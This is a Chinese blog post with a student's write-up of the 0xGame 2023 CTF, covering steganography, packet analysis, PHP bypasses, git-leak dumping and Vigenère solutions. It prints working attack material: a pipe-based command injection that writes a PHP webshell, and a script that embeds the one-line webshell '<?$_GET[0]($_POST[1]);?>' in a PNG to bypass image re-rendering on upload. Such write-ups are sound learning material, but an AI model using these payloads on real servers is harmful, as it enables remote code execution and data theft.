0xGame2023

最新推荐文章于 2024-05-31 15:11:00 发布
最新推荐文章于 2024-05-31 15:11:00 发布
阅读量563 收藏
点赞数
分类专栏： CTF 文章标签： web安全 http 网络 笔记 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_64422989/article/details/134151804
版权

[Week 1]

Misc

[Week 1] hide and seek

Hint 1: 如果我的hide是steghide那你该如何seek呢?
image.png
image.png
参考其他师傅的博客http://t.csdnimg.cn/5uwMx还有http://t.csdnimg.cn/rRu5L
image.png
用工具Steghide发现需要密码，咱没有密码只能用stegseek工具爆破github项目：https://github.com/RickdeJager/stegseek
字典文件：rockyou.txt
运行time stegseek hide\ and\ seek.jpg rockyou.txt之后在同目录下下发现flag文件
image.png

[Week 1] 重生之我在教学楼打cs

image.png
image.png
使用工具打开gcfscape186.zip
image.png
image.png

[Week 1] SignIn

image.png
附件内容：
R0I0RU9ZTE5NVjVWT1pMTU1NWUcyWks3S1JYVjZNRFlJNVFXMlpKU0dBWkRHSUpCUFU9PT09PT0=
解 base64 --> base32 即可
image.png

[Week 1] shark shark

image.png
wireShark打开后追踪TCP流，发现密码very_safe_password
image.png
image.png
在第四个流里面发现zip压缩包的十六进制数据，把它保存为txt文件，然后导入010editer后保存为zip文件
image.png
image.png
image.png
Ctrl + S快捷键保存文件
image.png
打开压缩包，解压需要密码，输入刚刚的very_safe_password，然后获得flag
image.png
image.png

[Week 1] least and most

image.png
LSB隐写，用StegSolve打开，选择Data Extract
image.png
image.png
RGB通道最后面那里打上三个√，选择LSB First，然后点击Preview获得前半段flag
image.png
根据题意，least的反义词就是most，那么我们把RGB通道最前面那里打上三个√，选择LSB First，然后点击Preview获得后半段flag
image.png

Web

其他师傅的WP0xGame2023 wp _ 甜筒园.htmlhttps://www.ttycp3.top/archives/d4f5203b.html

[Week 1] hello_http

image.png
依次传入这几个参数，并且修改HTTP头数据即可
image.png

[Week 1] signin

image.png
访问网站之后Ctrl + U 查看源代码，发现一个JS文件，点开看看
image.png
image.png
在这个js文件的最后一行发现了一行注释，它说源代码在index-33309f51.js.map，发现它和这个js的文件路径很像，那么我们访问一下
image.png
image.png
访问这个文件之后就会自动的下载下来，打开之后直接搜索0xgame就发现了flag
image.png
image.png

[Week 1] baby_php

a和b用数组绕过MD5弱比较,利用md5()函数的缺陷进行绕过；
is_numeric()函数用1024.1a绕。1024.1a是字符串，但是弱比较的时候，因为数字在前面，弱比较的时候，php会将其整体转成数字，就可以通过is_numeric() 的检测并且不等于1024；
而intval()函数 获取变量的整数值，那么1024.1就变成了1024；
最后Cookie传值name使用文件包含name=php://filter/convert.base64-encode/resource=flag

  • php://filter可以获取指定文件源码。当其与文件包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行，从而读取任意文件源代码。

image.png
对其进行base64解码之后就可以获得flag
image.png
image.png

[Week 1] repo_leak

image.png
git泄露，用工具GitHacker

#安装
python3 -m pip install -i https://pypi.org/simple/ GitHacker
#运行
githacker --url http://120.27.148.152:50013/.git/ --output-folder result
#进入目录后查看历史版本
git log --reflog


#切换版本为flag那个
git reset --hard 8a5b670558921bd232d75b29542492f00698298b
#在当前目录匹配包含flag的文件
grep -r  "flag" ./

image.png
image.png

[Week 1] ping

image.png
image.png
Ctrl + U查看源代码，发现hint在api的源码里面
image.png
image.png

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

利用管道符进行多命令执行，写文件到当前目录：

ip=127.0.0.1|echo${IFS}"PD9waHAgc3lzdGVtKCdjYXQgL2YqJyk7"|base64${IFS}-d${IFS}>1.php

image.png
image.png

Crypto

[Week 1] Vigenere

image.png
image.png
因为秘钥只能是字母，练习本次比赛，盲猜为game，猜对了
image.png

PWN

[Week 1] 找不到且不对劲的flag

image.png

依次输入命令即可

image.png

[Week 2]

Web

[Week 2] ez_upload

image.png
题目附件：
f044d557fc93de077e4fe649ed6280b3 (1).zip
image.png
先看一下附件的upload.php文件，发现imagecreatefromgif函数，搜索之后发现是二次渲染的函数

<?php

  session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
  mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
  case "image/gif":
  $source = imagecreatefromgif($_FILES['file']['tmp_name']);
  break;
  case "image/jpeg":
  $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
  break;
  case "image/png":
  $source = imagecreatefrompng($_FILES['file']['tmp_name']);
  break;
  default:
  die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
  case "image/gif":
  imagegif($source, $filepath);
  break;
  case "image/jpeg":
  imagejpeg($source, $filepath);
  break;
  case "image/png":
  imagepng($source, $filepath);
  break;
  default:
  die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

【文件上传绕过】——二次渲染漏洞

参考博客：[http://t.csdnimg.cn/zBoVm](http://t.csdnimg.cn/zBoVm)
二次渲染原理：

 在我们上传文件后，网站会对图片进行二次处理（格式、尺寸要求等），服务器会把里面的内容进行替换更新，处理完成后，根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

绕过：

将一句话木马插入到网站二次处理后的图片中，也就是把一句话插入图片在二次渲染后会保留的那部分数据里，确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话

先用脚本处理一个2.png

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

用记事本打开2.png发现里面有一句话木马
image.png
然后开启BurpSuite，在上传2.png的时候抓包，修改后缀为2.php，这样浏览器才能解析PHP代码
image.png
image.png
上传成功，获得文件路径，访问一下，发现已经成功解析代码，那么我们就可以进RCE（代码执行）了
image.png
image.png
通过下面的方式执行命令（貌似要结合文件包含，但我没发现）：
get传参0=system
加上
post传参1=whoami
image.png
在发现已经执行whoami命令显示了用户www-data之后，那么我们ls /查看一下根目录文件
image.png
发现了flag文件，那么我们查看flag，POST传参1=cat /flag，那么就获得了最终flag
image.png
😭😭😭😭😭
花了三个小时才解出这题。 锲而不舍，金石可镂！

Fab1an要努力~
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
南京邮电大学网络攻防新星赛0xGame2020开源题目.zip
08-21
全国大学生电子设计竞赛（National Undergraduate Electronics Design Contest），试题，解决方案及源码。计划或参加电赛的同学可以用来学习提升和参考。程序均是实战案例，经过测试可直接运行。 全国大学生电子设计竞赛（National Undergraduate Electronics Design Contest），试题，解决方案及源码。计划或参加电赛的同学可以用来学习提升和参考。程序均是实战案例，经过测试可直接运行。
南邮0xGame2020 Wp(Web)
HackerNei的博客
11-04 1853
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
如何使用Stegseek解密并提取隐写工具Steghide隐藏的内容
最新发布
白帽黑客佳哥的博客
05-31 874
该工具一开始作为Steghide项目的分支进行开发，因此该工具的运行速度非常快，要比其他破解工具快好几千倍，并且能够在不到两秒的时间里运行完整个rockyou.txt（rockyou.txt是一个包含了1400万个密码的著名字典）。本教程的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失。Stegseek是一款针对Steghide的隐藏数据提取工具，该工具可以对经过Steghide工具处理过的内容进行分析，并从目标文件中提取出隐藏数据。
[0xGameCTF 2023] web题解
rev1ve的博客
10-14 1883
分析一下，过滤了分号，空格，斜杠，flag。参数c不为数字，不等于1024，且转换为整数时等于1024；简单分析一下，首先会检测MIME类型是否正确，然后经过二次渲染上传到指定路径。查看页面源码，发现存在前端检测（所以命令执行要bp抓包）和告诉我们hint。（这里我最初上传的gif带一句话木马刚好没被改，就不用再添加一句话木马了）然后在posts文件夹找到，得到flag。我们这里用的是gif，我们先上传一下。bp抓包，添加命令得到flag。访问，命令执行得到flag。按照要求来，得到flag。
[0xGame 2023] week1
weixin_52640415的博客
10-07 1166
0xGame 2023 新生赛
[0xgame 2023] week2-Crypto
Emmaaaaa's blog
10-15 457
细心点啊
xGame:JavaScript xGame
07-04
《xGame: JavaScript游戏开发详解》 在当今的互联网世界，JavaScript作为一种强大的脚本语言，已经不再仅仅局限于网页交互，而是深入到了各种领域，其中包括游戏开发。xGame就是这样一个基于HTML5的游戏框架，它...
Xgame game development toolkit-开源
07-23
Xgame游戏开发工具包是一款专为游戏开发者设计的开源软件，它提供了丰富的API接口，使得开发者可以基于标准的X11功能进行游戏开发。X11是Unix和Linux系统中的窗口系统标准，它允许应用程序创建窗口并与用户进行交互...
Game-EC6.X.ec
04-13
《Game-EC6.X.ec》是一款游戏引擎的6.x版本，专为电子游戏开发设计。这个EC6.X版本是Game-EC系列的升级版，它包含了一系列针对游戏性能优化、用户体验提升以及开发者工具改进的更新。这个压缩包包含了核心的游戏引擎...
0xGame Web 2023
m0_73728268的博客
11-03 3754
这题直接看源码就行，easy。
0xGame 2023
m0_74317362的博客
10-20 177
欢迎来到 0xGame 2023, 由 Vue.js 强力驱动。intval php伪协议 弱类型比较。需要找到flag，在所有文件搜索。得到Base64加密后的flag。你真的了解 HTTP 协议吗?PHP 是世界上最好的语言!MD5弱类型绕过,这里用数组。查看相关的，找到flag。但这里还需要php伪协议。简单 Hugo 静态博客。浮点数+字符=字符串。
[0xGame 2023 公开赛道] week3
weixin_52640415的博客
10-21 783
A*M=C,M和C在同一个格上，隐含数问题，矩阵DLP，阿贝尔域上的减法， Ook解释器
[0xGame 2023 week2] pwn/crypto/reverse
weixin_52640415的博客
10-19 591
在shop这个函数数量没限制负值，导致可以输入负数量达到增加钱的目的。
利用WireShark破解网站密码
多媒体编程、网络编程、系统编程、网络安全编程、驱动编程
01-27 2773
当我们输入账号、密码登录一个网站时，如果网站允许你使用HTTP（明文）进行身份验证，那么此时捕获通信流量非常简单，我们完全可以对捕获到的流量进行分析以获取登录账号和密码。这种方法不仅适用于局域网，甚至还适用于互联网。这就意味着，攻击者将可以破解任何使用HTTP协议进行身份验证的网站密码。 在局域网内要做到这一点很容易，这不禁使你惊讶HTTP是有多么的不安全。你可以在宿舍网络、工作网络，甚至是
【2023 week1】0xgame-CTF
llovewuzhengzi的博客
10-30 394
在Linux中一切皆文件，文件描述符（file descriptor）是内核为了高效管理已被打开的文件所创建的索引，是一个非负整数（通常是小整数），用于指代被打开的文件，所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候，0是标准输入，1是标准输出，2是标准错误。输出bytes时候，它是采取这样的原则的：每读一个字节就和ascii码比对一下，如果符合ascii码的可显示字符（特殊字符，字母和数字，控制字符除外），那这个字节就按照ascii码来表示，否则就按十六进制\x某某来表示。
bugku_easyXor (0xGame 2020)
m0_57579266的博客
05-16 290
倒数第二个字节的明文为 27异或上一个得到的值（即35异或94的结果：125）首先分析加密过程，密文每个字节都是 当前明文字节异或下一个明文字节。倒数第一个字节的明文为 35异或94（94是^符号的ASCII值)
计算机网络实验
Cwyyyyyyyyyy的博客
12-10 1599
计算机网络实验报告 实验一 验证性实验 Part 1 ipconfig ipconfig 是微软操作系统的计算机上用来控制网络连接的一个命令行工具。它主要用来显示当前 TCP/IP 网络配置值并刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。 在没有参数的情况下使用， ipconfig 显示 Internet 协议版本 4 (IPv4) 以及所有适配器的 IPv6 地址、子网掩码和默认网关。 1.查看自己的计算机网络配置 IP:192.168.0.193 Subnet Mask:
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值